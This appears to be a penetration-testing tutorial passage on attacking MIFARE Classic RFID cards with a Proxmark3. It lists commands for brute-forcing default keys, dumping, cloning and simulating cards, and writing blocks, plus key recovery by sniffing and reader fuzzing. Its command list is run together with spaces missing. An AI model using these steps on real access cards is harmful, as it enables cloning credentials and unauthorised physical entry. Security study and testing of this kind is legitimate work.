It has 16 sectors, each of them has 4 blocks and each block contains 16B. The UID is in sector 0 block 0 (and can't be altered).
To access each sector you need 2 keys (A and B) which are stored in block 3 of each sector (sector trailer). The sector trailer also stores the access bits that give the read and write permissions on each block using the 2 keys.
2 keys are useful to give permissions to read if you know the first one and write if you know the second one (for example).
Several attacks can be performed
proxmark3> hfmf#List attacksproxmark3> hfmfchk*1?t./client/default_keys.dic#Keys bruteforceproxmark3> hfmffchk1t# Improved keys BFproxmark3> hfmfrdbl0AFFFFFFFFFFFF# Read block 0 with the keyproxmark3> hfmfrdsc0AFFFFFFFFFFFF# Read sector 0 with the keyproxmark3> hfmfdump1# Dump the information of the card (using creds inside dumpkeys.bin)proxmark3> hfmfrestore# Copy data to a new cardproxmark3> hfmfeloadhf-mf-B46F6F79-data# Simulate card using dumpproxmark3> hfmfsim*1u8c61b5b4# Simulate card using memoryproxmark3> hfmfeset01000102030405060708090a0b0c0d0e0f# Write those bytes to block 1proxmark3> hfmfeget01# Read block 1proxmark3> hfmfwrbl01BFFFFFFFFFFFF000102030405060708090a0b0c0d0e0f# Write to the card
The Proxmark3 allows to perform other actions like eavesdropping a Tag to Reader communication to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the cryptographic operations used are weak and knowing the plain and cipher text you can calculate it (mfkey64 tool).
Raw Commands
IoT systems sometimes use nonbranded or noncommercial tags. In this case, you can use Proxmark3 to send custom raw commands to the tags.
With this information you could try to search information about the card and about the way to communicate with it. Proxmark3 allows to send raw commands like: hf 14a raw -p -b 7 26
Scripts
The Proxmark3 software comes with a preloaded list of automation scripts that you can use to perform simple tasks. To retrieve the full list, use the script list command. Next, use the script run command, followed by the script’s name:
You can create a script to fuzz tag readers, so copying the data of a valid card just write a Lua script that randomize one or more random bytes and check if the reader crashes with any iteration.